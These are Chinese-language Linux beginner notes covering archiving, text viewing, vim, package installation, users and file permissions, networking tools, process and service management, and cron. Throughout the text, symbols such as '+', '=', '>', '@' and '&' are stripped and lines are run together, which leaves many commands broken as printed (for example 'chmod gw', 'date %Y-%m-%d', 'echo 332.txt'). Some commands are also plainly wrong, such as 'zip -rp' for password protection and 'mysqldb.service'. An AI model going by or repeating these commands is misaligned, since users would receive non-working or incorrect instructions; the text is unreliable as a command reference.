[rootlocalhost ~]# tar -xvf test.tar#打包并gz压缩
[rootlocalhost ~]# tar -czvf test.tar.gz *.txt#解压
[rootlocalhost ~]# tar -zxvf test.tar.gz 注因为解压或解包如果指定目录的话都会直接解压到当前目录为了防止出现不可控情况可将压缩包直接放在指定目录在当前目录解压或解包 zip命令 #压缩
zip test.zip *.txt#解压缩
unzip test.zip#解压缩到指定目录
unzip test.zip -d bbb#添加密码
zip -rp 123456 test.zip *.zip#使用密码解密
unzip -p 123456 test.zip 7、查看和处理文本文件的内容
1文本文件和二进制文件
文本文件 文本文件是有一个字符集编码的如ASCII、UTF-8、Unicode、ANSI常见文本文件txt、xml、conf、properties、yml等配置文件、日志文件、源代码 二进制文件 可执行程序、图片、音频、视频
2命令
查看文件cat
#全拼concatenate [kənˈkætəneɪt] 连接
#格式cat 文件名
cat 1.txt 2.txt
#可以将两个文件拼接查看
查看文件more/less #只用less即可#分页查看
more 加文件#第三行开始显示
more 3 test.log#从出现a开始显示
more /a test.log#结束查看按q即可
[rootlocalhost ~]# less 1.txt [rootlocalhost ~]# less 3 1.txt [rootlocalhost ~]# less /Music 1.txT 分屏操作 more /less搜索 #首先用less进入文件查看
#然后使用/从上往下查所有或从下往上查所有
#按enter键后n键查找下一个符合内容N查找上一个符合内容例如要从上往下查找文件中所有的bash
在文件查看页面直接键入/bash按enter开始查找n或N上下翻看q结束 查看前n或末尾n条信息head/tail #查看前面5行内容
[rootlocalhost ~]# head -n 5 1.txt
.
..
1.txt
aaa
anaconda-ks.cfg#查看末尾3行内容
[rootlocalhost ~]# tail -n 3 1.txt
.Xauthority
.xauthTd1rOS
xz#-f实时查看文件的内容一般实时查看日志文件比较多 tail -f 加文件名
[rootlocalhost ~]# tail -f 1.txt 全局搜索正则表达并打印 grep #格式grep 选额 模式 文件名
#搜索文件的内容例如找出当前目录所有文件种内容包含“a”的文本文件
[rootlocalhost ~]# grep a* *
1.txt:aaa
grep: aaa: Is a directory
grep: Desktop: Is a directory 管道符号 #把前一个命令原本要输出到屏幕的数据当作是后一个命令的标准输入
#command1 | command2 | command3例如用less显示行号的方式查看当前进程
[rootlocalhost ~]# ps -ef | less -N#查看3306端口号是否启动
[rootlocalhost ~]# netstat -an|grep 3306
tcp6 0 0 :::3306 :::* LISTEN 统计词数 wc #-l 或--lines 显示行数
#-w 或--words只显示字数
[rootlocalhost ~]# wc -l 1.txt
36 1.txt
[rootlocalhost ~]# wc -w 1.txt
36 1.txt
#统计当前文件个数
[rootlocalhost ~]# ls -l |wc -l
18 对比文件 diff #对比文件
[rootlocalhost ~]# cp 1.txt 2.txt
[rootlocalhost ~]# echo 332.txt
[rootlocalhost ~]# diff 1.txt 2.txt
36a3733
#加选项 -r 对比目录 8、Linux文本编辑器
WindowsNotepad记事本、Sublime、UltraEdit等
LinuxVI/VIM、nano、Emacs、Sed、gedit、Kate等 1vi和vim的区别
vim是vi的进阶版使用起来没有太大的区别
2vim的配置文件 全局配置/etc/vimrc
用户配置~/.vimrc 3vim的三种模式
命令模式通过命令操作文本文件编辑模式对文本的内容进行编辑底行模式结束操作的时候使用 1、 命令模式 #格式vim 文件名
[rootlocalhost ~]# vim 1.txt#出现错误提示类似E325: ATTENTION Found a swap file by the name .redis.conf.swp
#原因是编辑未保存可保存文本文件或删除.swp文件 移动光标操作 显示行号底行模式set nu
搜索替换操作 先后查找内容/关键字回车向前查找内容关键字回车n下一个关键字N上一个关键字删除和复制的操作 2、编辑模式
a在光标下一个字符之前插入文本A在光标所在的航模插入文本i在光标上一个字符之前插入文本I在光标的行首插入文本o在光标所在的行下插入一行文本O在光标所在的行上插入一行文本r修改当前光标所在的字符R替换文本 编辑模式下CtrlU 撤消 退出编辑模式Esc 3、底行模式
Shift ::w 保存:q 退出:wq 保存并且保存:q! 放弃修改退出:e! 放弃所有更改重新编辑不关闭显示行号 :set nu:%s/word1/word2/g 把文档中的word1替换为word2
9、软件安装
1软件为什么要安装
安装检查释放文件复制可执行文件DLL动态链接库/安装服务注册表开始菜单和快捷方式
2linux可执行程序
/bin/sbin/usr/bin/usr/sbin
(3)脚本和程序的区别 不需要编译的跨平台的特性强Javascript、Python、Ruby…… 需要编译的C、C、Swift、Kotlin、Go…… 解释型边解释边执行 编译型计算机可以直接执行
4inux安装软件的几种方式 源码编译make、rpm、deb、yum、apt、Docker越来越多使用……
5linux主要派系 6安装方式
源码安装 rpm红帽派系使用 rpm不能解决软件的依赖问题
yum安装
YUMYellow dog Updater, Modified基于rpm但解决软件依赖的问题 yum -y install 包名——无人值守安装
DNF和YUM的区别
DNF是yum的下一代由于yum未更新目前DNF使用的比较多 Debian系 Deb包安装apt安装Deb的高级版本 FreeBSD系 packageports 7centos安装软件案例
通过yum的方式安装MySQL #下载yum repository
[rootlocalhost soft]# wget -i -c http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm#安装
[rootlocalhost soft]# yum -y install mysql57-community-release-el7-10.noarch.rpm#安装mysql服务器
[rootlocalhost soft]# yum -y install mysql-community-server#启动MySQL
[rootlocalhost soft]# systemctl start mysqldb.service 8软件版本的管理
update-alternatives 命令用于linux系统中软件版本的切换 #查看java的注册版本
update-alternatives --display java
#添加
alternatives --install /usr/bin/java java /usr/local/jdk-11.0.2/bin/java3 #/usr/bin/java注册地址软链 #java服务名 #/usr/local/jdk-11.0.2/bin/java实际程序路径 #3优先级
#切换
update-alternatives --config java 10、用户和权限管理 1用户组
一个用户必须要属于一个组同时也可以属于多个组
组ID-Group id-gid root用户组GID0程序用户组系统用户组1-999centos7普通用户组1000-65535查看用户组 cat /etc/group:查看全部组groups查看用户的所属组groupadd security添加用户组l例如添加一个名为xz的组即为groupadd xzgroupdel security删除用户组例如删除一个名为xz的组即为groupdel xz用户 root用户UID0反之成立,如果一个用户的uid是0无论他名字是什么他就是root用户程序用户系统用户1-999centos7普通用户:1000-65535 查看用户 cat /etc/passwd查看所有的用户iduseradd 选项 参数添加用户passwd 选项 参数修改用户密码userdel 选项 参数删除用户usermod 选项 参数修改用户信息 #创建一个组
[rootlocalhost java]# groupadd security
#在这个组里创建一个叫alan的用户
[rootlocalhost java]# useradd -g security alan
#此时home下就有一个该用户的启动目录
[rootlocalhost java]# cd /home
[rootlocalhost home]# ls
alan java
#修改用户密码
[rootlocalhost home]# passwd alan
#删除用户
[rootlocalhost home]# userdel alan 3用户管理相关文件
/etc/group 例如mysqlx27 其中mysql是组名x是组密码组密码存于影子文件 cat /etc/gshadow中27是GID后面如果还有一位就是用户列表 /etc/password 例如root:x:0:0:root:/root:/bin/bashroot未用户名x为用户密码密码在/etc/gshadow中第三位的0为uid第四位是gid第五位是用户的描述第六位是用户的主目录第七位为用户使用的shell程序 /etc/shadow 1、用户名2、密码3、最后修改时间1970 年 1 月 1 日以后的多少天4、最小修改间隔时间 5、密码有效期6、密码需要变更前的警告天数7、密码过期后的宽限天数 8、账号失效时间9、保留 密码格式 #命令openssl passwd -1 -salt admin 123456
#salt即在明文加密的过程中他的加密结果是一定的很容易被破解可以加一个特定的词即盐值将其加在密码的任意位置然后在进行加密以达到安全的目的
#格式$id$salt$encrypted
#示例$1$admin$LClYcRe.ee8dQwgrFc5nz.
#1为加密方式admin为盐值最后面是明文加盐值后的加密结果 /etc/sudoers 把一些只有root用户能够使用的命令授权给特定的用户去做超级用户 即用户可以做任何操作 sudo 命令 ,即例如alan的用户需要执行关机操作键入sudo reboot他会去sudoers中去查找是否有这一条让alan操作关机的记录若有即执行操作sudo -l查看当前用户是否有一些sudo的操作 #示例
#给alan用户添加reboot权限
#1、查看reboot命令位置
[rootlocalhost home]# whereis reboot
#2、打开/etc/sudoers文件并添加记录
alan ALL(ALL) NOPASSWD:/sur/sbin/reboot
#此处若用vim添加内容失败可能是因为权限的问题由于该文件为敏感文件若修改权限会带来一些问题可使用visudo来修改文件
#保存sudoers文件即可 4用户管理基本命令
id 查询用户账号身份标识finger查看用户的登录属性如存在无法执行的情况可用yum安装yum install -y finger,即可w、who查询系统当前在线的用户users查询系统当前在线的用户whoami查看用户su切换用户
5用户和文件的关系
文件所有者所属用户、所属组
访问权限读、写、执行
6文件和目录归属
任何一个文件都有文件所属者和所属组修改文件所属者命令 chown chown -R alan /usr/local/soft:把后面这个文件的所属者全部更改为alan-R的参数是递归处理chown -R redis:redis /usr/local/soft/redis修改所属的用户和用户组修改为redis和redis用户组
7文件和目录权限
用ll查看文件可以看到文件的信息如下 可将其分为三段来看 d | rwx | rwx | r-x
第一段中若是d 代表是目录文件文件夹若是- 代表为普通文件第二段所属用户权限 u user第三段所属组的用户的权限 g group第四段其他用户的权限o other每一段中的rread可读wwrite可写xexectue可执行-没有权限 8权限修改命令chmod # 添加组用户的写权限。
chmod gw test.log
# 删除其他用户的所有权限。
chmod o test.log
# 使得所有用户都没有写权限。
chmod a-w test.log
# 当前用户具有所有权限组用户有读写权限其他用户只有读权限。
chmod urwx, grw, or test.log
# 等价的八进制数表示
chmod 764 test.log
# 将目录以及目录下的文件都设置为所有用户拥有读写权限。
# 注意使用-R选项一定要保留当前用户的执行和读取权限否则会报错
chmod -R arw testdir/
# 根据其他文件的权限设置文件权限把test的权限设置成和1一样
chmod --reference1.log test.log 11、linux网络管理
1网络的基本概念
网卡电脑负责网络通信的设备可以有多个网卡mac地址一台计算机的物理地址在网卡上IP互联网协议地址是可以修改和动态变化的在同一网络环境是不能重复的公有、私有 局域网使用私有IP地址互联网使用共有IP地址 NAT Network Address Translation网络地址转换 IPV4和IPV6 IPV44个8为二进制2^32全部约42亿个实际可用约25亿 IPV4分配不够所以有了IPV6IPv6是128位的一共有2的128次方个
公网IP地址的分配 NICNetwork Information Center分配 ISP网络业务提供商、网络基础设施提供商
动态、静态IP DCHPDynamic Host Configuration Protocol动态电脑开机时DHCP服务器分配IP static 静态
127.0.0.1 环回地址loop back代表本地地址向自己的电脑发送信息可ping通代表网卡正常
端口port 作用区分程序 范围0-65535 系统端口0-1023 用户端口也成为注册端口1024-49151 动态端口也称为私有或临时端口49152-65535
域名Domain Name 作用替代IP方便记忆识别 域名如何转换成IPDomain Name System-DNS相当于是一个存储域名和对应IP的数据库114.114.114国内三大运营商提供8.8.8.8谷歌提供 域名与IP的数量关系多对一 子域名例如www.baidu.com map.baidu.com前面的www和maplocalhost通常就指换回地址代表自己的本机
2网络配置文件
/etc/sysconfig/network-scripts/ifcfg- ens33 网卡配置文件/etc/sysconfig/network-scripts/ifcfg-lo 环回地址配置文件/etc/hosts 主机名与IP的映射/etc/resolv.conf DNS配置由ens33自动覆盖
3查看及配置网络
ifconfig 全拼network interfaces configuring位于net-tools工具包可以动态配置网络参数通常不建议使用此命令配置网络设备参数因为她是临时的重启即失效ip 位于iproute工具包添加设备、启动停止网络设备、设置IP、设置网关……
4连通性探测
ping Packet Internet Groper因特网包探索器telentcents7 默认不安装 远程登录telnet bbs.newsmth.net 探测端口telnet 192.168.142.132 80telnet 192.168.142.132 22明文传输安全性不好
5查看网络连接即查看端口号
netstat直接使用ss 命令同一般用ss -a 全拼network statistics 查看程序的网络连接情况 netstat -ap | grep ssh 查看端口的网络连接情况 netstat -ap | grep 3306
6域名相关
nslookup查找域名对应的ip地址 nslookup baidu.com A记录IP地址 CNAME域名别名 MX邮件服务器 dig域名信息挖掘 dig baidu.com A noall answerhost host baidu.com
(7)下载传输
常规方式 Xshell拖曳——上传 xftp——双向或者Filezilla、FlashFTP sz file name——下载 rz——上传 vmtools拖动——传入 QQ——双向
wget 直接使用wget 下载地址wget https://download.redis.io/releases/redis-6.0.9.tar.gz下载时修改名字wget -O redis.tar.gz https://download.redis.io/releases/redis-6.0.9.tar.gz断点续传wget -c 后台下载wget -b同时下载多个文件wget -i 1.txt(1.txt中为下载清单)查看下载进度tail -f wget-logscp l例如讲本机1.txt的文件上传到远程192.168.142的机器的/tmp下scp 1.txt root192.168.142.66:/tmp传文件夹时加 -r 选项即递归的curl curl https://www.baidu.com gt; page.html保存一个网页 curl -X POST -d a1amp;bnihao URL curl -H Content-Type: application/json -X POST -d {abc:123,bcd:nihao} URL
8防火墙
iptables工具 启动防火墙systemctl start firewalld 查看已开放的端口firewall-cmd --list-ports开启80端口firewall-cmd --zonepublic --add-port80/tcp --permanent开启后需要重启防火墙生效重启防火墙firewall-cmd --reload停止防火墙systemctl stop firewalld.service禁止防火墙开机启动systemctl disable firewalld.service删除规则firewall-cmd --zonepublic --remove-port80/tcp --permanent
12、Linux系统状态管理 1查看系统信日期时间
date查看当前日期 #直接使用date命令
[rootlocalhost ~]# date
2022年 10月 17日 星期一 00:31:35 PDT
#需要修改输出格式的情况
[rootlocalhost ~]# date %Y-%m-%d %H:%M:%S
2022-10-17 00:54:56 cal查看日历 #直接使用cal
[rootlocalhost ~]# cal十月 2022
日 一 二 三 四 五 六12 3 4 5 6 7 89 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31
# -y 查看当前年份的日历
#-s 将星期日作为月的第一天 uptime系统负载信息 #直接使用uptime命令
[rootlocalhost ~]# uptime01:13:43 up 1 day, 14:27, 2 users, load average: 0.00, 0.01, 0.05
#显示依次为现在时间、系统已经运行了多长时间、目前有多少登陆用户、系统在过去的1分钟、5分钟和15分钟内的平均负载。 w显示目前登入系统的用户信息 #直接使用w显示包括uptime的内容
[rootlocalhost ~]# w01:17:33 up 1 day, 14:31, 2 users, load average: 0.07, 0.05, 0.05
USER TTY FROM LOGIN IDLE JCPU PCPU WHAT
java :0 :0 日02 ?xdm? 9:23 0.23s gdm-session-worker
java pts/0 :0 17:40 5.00s 0.30s 10.47s /usr/libexec/gnome 查看系统版本 cat /etc/redhat-release红帽版本信息等uname -a显示内核版本信息cat /proc/version包括内核版本信息红帽版本信息等
2进程管理 程序、进程、服务 程序是静态的例如mysql程序主要指应用程序编写好的一段代码 进程是一个状态就是在操作系统中运行的程序它是操作系统资源管理的最小单位。但是进程是一个动态的实体它是程序的一次执行过程一个程序可以运行出多个进程在Linux系统中每一个进程都有一个专属的id简称pid 服务一直在运行的命令其独立于控制终端不受前台和终端的控制在后台周期性地执行某种任务或等待处理某些发生的事件。运行服务的进程通常被成为后台进程守护进程 #查找所有服务中的mysql服务
[rootlocalhost ~]# systemctl list-unit-files |grep mysql
mysqld.service enabled
mysqld.service disabled#查看对应的文件
[rootlocalhost ~]# cat /etc/services |grep mysql
mysql 3306/tcp # MySQL
mysql 3306/udp # MySQL
mysql-cluster 1186/tcp # MySQL Cluster Manager
mysql-cluster 1186/udp # MySQL Cluster Manager
mysql-cm-agent 1862/tcp # MySQL Cluster Manager Agent
mysql-cm-agent 1862/udp # MySQL Cluster Manager Agent
mysql-im 2273/tcp # MySQL Instance Manager
mysql-im 2273/udp # MySQL Instance Manager
mysql-proxy 6446/tcp # MySQL Proxy
mysql-proxy 6446/udp # MySQL Proxy 运行程序 前台运行./xxx 即在当前目录运行启动脚本;关闭即执行关闭的脚本后台运行nohup ./xxx amp按ctrlc 不会终止文件的执行且日志会写到一个特定的文件中 命令加在一个命令的最后可以让这个命令放在后台执行例如python test.py nohup命令加在一个命令的前面不挂断的运行程序退出终端不会影响程序的运行例如nohup python test.pynohup command [参数] []后台不挂断地运行程序并且将输出到终端的内容输出到nohup.out例如nohup python test.py 查看进程top 与ps都为查看正在执行的进程的命令但是其区别在于top时在实时更新的 #上半部分内容
#第一行
top - 01:57:20 up 1 day, 15:10, 3 users, load average: 0.00, 0.01, 0.05
top - 01:57:20 系统时间
up 1 day运行时间
3 users当前的登陆用户数量load average: 0.00, 0.01, 0.051分钟发、5分钟、15分钟的负载情况#第二行
Tasks: 182 total, 1 running, 181 sleeping, 0 stopped, 0 zombie
Tasks: 182 total总进程数1081 running正在运行的进程数1
181 sleeping当前休眠的进程数181
0 stopped停止的进程数0
0 zombie僵尸进程数#第三行
%Cpu(s): 0.0 us, 0.0 sy, 0.0 ni,100.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
Cpuscpu状态信息
0.0 ususer space用户空间占用cpu的百分比
0.0 sysysctl内核空间~
0.0 ni改变过优先级的进程~
100.0 ididolt空闲~
0.0 wawait等待~
0.0 hiHardware IRQ硬中断~
0.0 siSoftware Interrupts软中断~
0.0 st虚拟机被hypervisor偷去的CPU#第四行为内存状态
KiB Mem : 999936 total, 220212 free, 489540 used, 290184 buff/cache
#第五行为swap交换分区信息
KiB Swap: 2097148 total, 1820716 free, 276432 used. 305856 avail Mem
其中
total总共的内存
used使用中的内存总量指的是现在系统内核控制的内存数
free空闲的内存总量是内核还未纳入其管控范围的数量。
这里要说明的是不能用windows的内存概念理解这些数据
第四行中使用中的内存总量used指的是现在系统内核控制的内存数空闲内存总量free是内核还未纳入其管控范围的数量。
纳入内核管理的内存不见得都在使用中还包括过去使用过的现在可以被重复利用的内存
内核并不把这些可被重新使用的内存交还到free中去因此在linux上free内存会越来越少但不用为此担心。
对于内存监控在top里我们要时刻监控第五行swap交换分区的used
如果这个数值在不断的变化说明内核在不断进行内存和swap的数据交换这是真正的内存不够用了。#后半部分PID USER PR NI VIRT RES SHR S %CPU %MEM TIME COMMAND
PID进程ID是进程的唯一标识符
USER用户名是进程所有者的实际用户名
PR 进程的调度优先级为rt 或大于等于 0 的数字这个字段的一些值是rt这意味这这些进程运行在实时态
NI 代表这个进程的nice值值是[-20, 19]之间的数字越小的值意味着越高的优先级。负值表示高优先级正值表示低优先级
VIRT进程使用的虚拟内存 #需要这些内存但是并没有占满VIRTSWAPRES
RES常驻内存 进程使用的、未被换出的物理内存大小 #用了多少内存
SHR共享内存 #除了自身进程的共享内存也包括其他进程的共享内存S这个是进程的状态。它有以下不同的值:D - 不可中断的睡眠态。R – 运行态S – 睡眠态T – 被跟踪或已停止Z – 僵尸态
%CPU自从上一次更新时到现在任务所使用的CPU时间百分比
%MEM进程使用的可用物理内存百分比
TIME任务启动后到现在所使用的全部CPU时间精确到百分之一秒
COMMAND运行进程所使用的命令进程名称命令名/命令行#在top命令执行过程中可以使用的一些交互命令。这些命令都是单字母的如果在命令行中使用了-s选项 其中一些命令可能会被屏蔽。
#例如k终止一个进程输入top命令后找到进程的id在键入k回车后键入要结束的进程idps ps -ef以全格式显示当前所有的进程 UID用户ID
PID进程ID
PPID父进程ID
CCPU用于计算执行优先级的因子。数值越大表明进程是CPU密集型运算执行优先级会降低;数值越小表明进程是I/O密集型运算执行优先级会提高
STIME进程启动的时间
TTY完整的终端名称
TMECPU时间
CMD启动进程所用的命令和参数 ps -aux以用户的格式查看当前终端的所有进程信息并显示后台进程运行的参数 USER用户名称PID进程号%CPU进程占用CPU的百分比%MEM进程占用物理内存的百分比VSZ进程占用的虚拟内存大小(单位:KB)RSS进程占用的物理内存大小(单位:KB)TTY终端名称缩写STAT进程状态其中S睡眠s表示该进程是会话的先导进程N表示进程拥有比普通优先级更低的优先级R正在运行D短期等待Z僵死进程T被跟踪或者被停止等STARTED进程的启动时间TIMECPU时间即进程使用CPU的总时间COMMAND启动进程所用的命令和参数如果过长会被截断显示 通常的使用方法,查看进程有没有启动例如ps -ef | grep mysql pstree: 以树状图的方式展现进程之间的派生关系显示效果比较直观,常和grep配合使用 #-p显示程序识别码
[rootlocalhost ~]# pstree -p | grep ssh| | | |-ssh-agent(32213)|-sshd(881)---sshd(42963)---bash(42976)--grep(43745)
服务管理 systemctl #以MySQL为例
#查看所有服务状态
systemctl status mysqld
#启动服务
systemctl start mysqld
#重启服务
systemctl restart mysqld
#停止服务
systemctl stop mysqld
#开机启动服务
ystemctl enable mysqld
#停止开机启动
systemctl disable mysqld 停止程序kill
信号量代表不同的动作 #kill掉mysql的进程
[rootlocalhost ~]# ps -af | grep mysql
root 44598 38376 0 05:10 pts/0 00:00:00 grep --colorauto mysql
[rootlocalhost ~]# kill -9 38376
Killed
#强制kill掉进程kill -9 3内存使用情况
free内存的情况 total 总内存
used 已使用
free 未使用
shared 共享内存
buff/cache 缓冲/缓存区
available 启动新程序可用
# -h以可读的方式展示
#-m 以MB为单位显示内存使用情况 4du磁盘的使用情况disk usage du /usr #显示使用情况
du -h /usr #--human-readable 用恰当的单位
du -h /usr --max-depth1 # 加上层级限制
du -h --max-depth1 | sort -hr #降序排列
du -ah /usr | sort -hr | head -n 3 #前三个大文件
du -ah /usr --exclude*/.* #排除隐藏目录
du -kt 10M ./* # 找出10M以上的文件 5定时任务
crontab 选项 参数 #-e编辑该用户的计时器设置
#-l列出该用户的计时器设置
#-r删除该用户的计时器设置
#-u用户名称指定要设定计时器的用户名称。
#例如删除root用户的定时任务
crontab -u root -r cron表达式 字段 允许值 允许的特殊字符
秒 0-59 - * /
分 0-59 - * /
小时 0-23 - * /
日期 1-31 - * ? / L W C
月份 1-12 或者 JAN-DEC - * /
星期 1-7 或者 SUN-SAT - * ? / L C #
年可选 留空, 1970-2099 - * /
#符号含义
*代表任何时间
代表不连续的时间
-代表连续的时间范围
*/n代表每隔多久执行一次
#实例
*/5 * * * * ? 每隔5秒执行一次0 */1 * * * ? 每隔1分钟执行一次
0 0 12 ? * WED 表示每个星期三中午12点0 0 17 ? * TUES,THUR,SAT 每周二、四、六下午五点 添加定时任务流程 #每分钟向1.txt文件写入一个单词
[rootlocalhost ~]# crontab -e
crontab: no changes made to crontab
[rootlocalhost ~]# crontab -l
*/1 * * * * echo good 1.txt
[rootlocalhost ~]# tail -f 1.txt
good
good
good 定时任务文件
/etc/crontab #管理文件
/var/spool/cron/ #每个用户包括root的crontab任务
/etc/cron.d/ #存放任何要执行的crontab文件或脚本